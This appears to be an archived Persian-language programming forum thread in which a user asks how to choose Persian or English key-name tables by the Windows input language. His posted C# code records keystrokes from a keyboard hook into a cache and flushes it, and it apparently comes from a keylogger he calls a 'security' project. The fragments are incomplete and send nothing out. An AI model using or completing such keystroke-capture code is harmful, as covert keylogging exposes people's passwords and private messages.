PDA

View Full Version : سوال: شرطی کردن این کدها به چه صورت است؟



barnamenevisjavan
پنج شنبه 12 اردیبهشت 1392, 15:33 عصر
سلام توی کلاسی کدی بصورت زیر وجود دارد
بخش اول کد
--------------
public enum VKeys
{
LBUTTON = 0x01, // Left mouse button
}
و همینطور

public enum VKeysEN
{
چپ= 0x01, // Left mouse button
}
که مشخص میکنه کدوم کلیک از موس کلیک شده!
حالا توی کلاسی دیگه
کدی بصورت زیر نوشته شده

بخش دوم کد
--------------


public string GetKeyString(Hooker.VKeys vk)
{
string name = Enum.GetName(typeof(Hooker.VKeys), vk);

// represent a-z & 0-9 keys
if (name.Contains("KEY_"))
{
return name.Remove(0, 4);
}

// display SPACE key as ' '
if (vk == Hooker.VKeys.SPACE)
{
return " ";
}

// enter should be represented as a new line
if (vk == Hooker.VKeys.RETURN)
{
return "\r\n";
}

return "[" + name + "]";
}
و همچنین
public void ProcessHook(IntPtr wParam, IntPtr lParam)
{
int key = Marshal.ReadInt32(lParam);

// add to cache
cache += GetKeyString((Hooker.VKeys)key);

ProcessKeywords();

// cache full? let's flush
if (cache.Length >= Properties.Settings.Default.cacheSize)
{
ActionFlush();
}
}
میبینیم که توی این VKeys استفاده شده من میخوام بخش دوم کد رو شرطی کنم یعنی اگر زبان نوشتاری ویندوز فارسی بود از بخش اول کد یعنی Vkeys استفاده کنه و اگر انگلیسی بود از VKeysEN چطوری باید استفاده بکنم؟

کامبیز اسدزاده
پنج شنبه 12 اردیبهشت 1392, 15:52 عصر
از این کد استفاده کنید در قسمتی که لازم دارید بر اساس زبان جاری کد هاتون اجراء شوند.



if (InputLanguage.CurrentInputLanguage.Culture.Name == "fa-IR")
{
MessageBox.Show("فارسی");
}

barnamenevisjavan
پنج شنبه 12 اردیبهشت 1392, 17:19 عصر
ممنون نمیدونم چرا برنامه قاطی میکنه و نمیتونه درست عمل کنه!
به هر حال مجبور شدم ساپورت فارسیش رو حذف کنم و نسخه جداگونه فارسی طراحی کنم

کامبیز اسدزاده
پنج شنبه 12 اردیبهشت 1392, 18:26 عصر
نباید با هر مشکلی هدف رو از برنامه حذف کرد ! باید سعی کنید مشکل رو حل کنید این مشکلی که شما دارید رو من ۱ سال تموم روش کلنجار رفتم تا تونستم با الگوریتم خاصی بهش برسم.

barnamenevisjavan
پنج شنبه 12 اردیبهشت 1392, 19:59 عصر
داداش نکنه میخوای مام بریم یه 2 الی 3 سالی بشینیم الگوریتم از بسازیم؟
یه کمکی چیزی

کامبیز اسدزاده
پنج شنبه 12 اردیبهشت 1392, 20:22 عصر
دوست عزیز من چطور میتونم کمکت کنم وقتی برنامتو نمیبینم !!! با کد دیدن که چیزی حل نمیشه :)

خودتون دارید میگید روشی رو که گفتم رو به کار بردین ولی وقتی فارسی میشه برنامتو قاط میزنه ! خب اینو باید برنامرو کلا برسی کرد تا مشکلش رو حل کنیم :لبخندساده:

barnamenevisjavan
پنج شنبه 12 اردیبهشت 1392, 20:35 عصر
دوست عزیز من چطور میتونم کمکت کنم وقتی برنامتو نمیبینم !!! با کد دیدن که چیزی حل نمیشه :)

خودتون دارید میگید روشی رو که گفتم رو به کار بردین ولی وقتی فارسی میشه برنامتو قاط میزنه ! خب اینو باید برنامرو کلا برسی کرد تا مشکلش رو حل کنیم :لبخندساده:

ن من نگفتم وقتی فارسی میشه قاط میزنه
کلا وقتی شرطی استفاده میکنم فقط انگلیسی تایپ میکنه
و فارسی نمینویسه!
مشکل اینه

کامبیز اسدزاده
پنج شنبه 12 اردیبهشت 1392, 20:55 عصر
خب میتونید پروژتون رو بذارید برای اشتراک بررسیش کنیم ؟

barnamenevisjavan
پنج شنبه 12 اردیبهشت 1392, 21:42 عصر
خب میتونید پروژتون رو بذارید برای اشتراک بررسیش کنیم ؟

اگر بزارم کل زحمت پروژه دود میشه میره
پروژه سیکوریت هست:لبخند:

aliasghar2
پنج شنبه 12 اردیبهشت 1392, 22:23 عصر
یه سوال در حال حاضر داری این کد رو استفاده می کنی یا روش دیگه ای است
if (InputLanguage.CurrentInputLanguage.Culture.Name == "fa-IR")
{
MessageBox.Show("فارسی");
}


هدفت از نوشتن این کد ها فارسی وارد کردن در تکست باکس هست البته برای ورژن فارسی ایا ؟

کامبیز اسدزاده
پنج شنبه 12 اردیبهشت 1392, 22:38 عصر
:قهقهه: فهمیدم... خب اینطوری یکم سخت میشه کمک کرد :) مدیران دیگه نظری بدن شاید تونستن راهنماییتون کنن :)

barnamenevisjavan
جمعه 13 اردیبهشت 1392, 08:10 صبح
یه سوال در حال حاضر داری این کد رو استفاده می کنی یا روش دیگه ای است
if (InputLanguage.CurrentInputLanguage.Culture.Name == "fa-IR")
{
MessageBox.Show("فارسی");
}




هدفت از نوشتن این کد ها فارسی وارد کردن در تکست باکس هست البته برای ورژن فارسی ایا ؟

هدف تغییر در تکسباکس نیست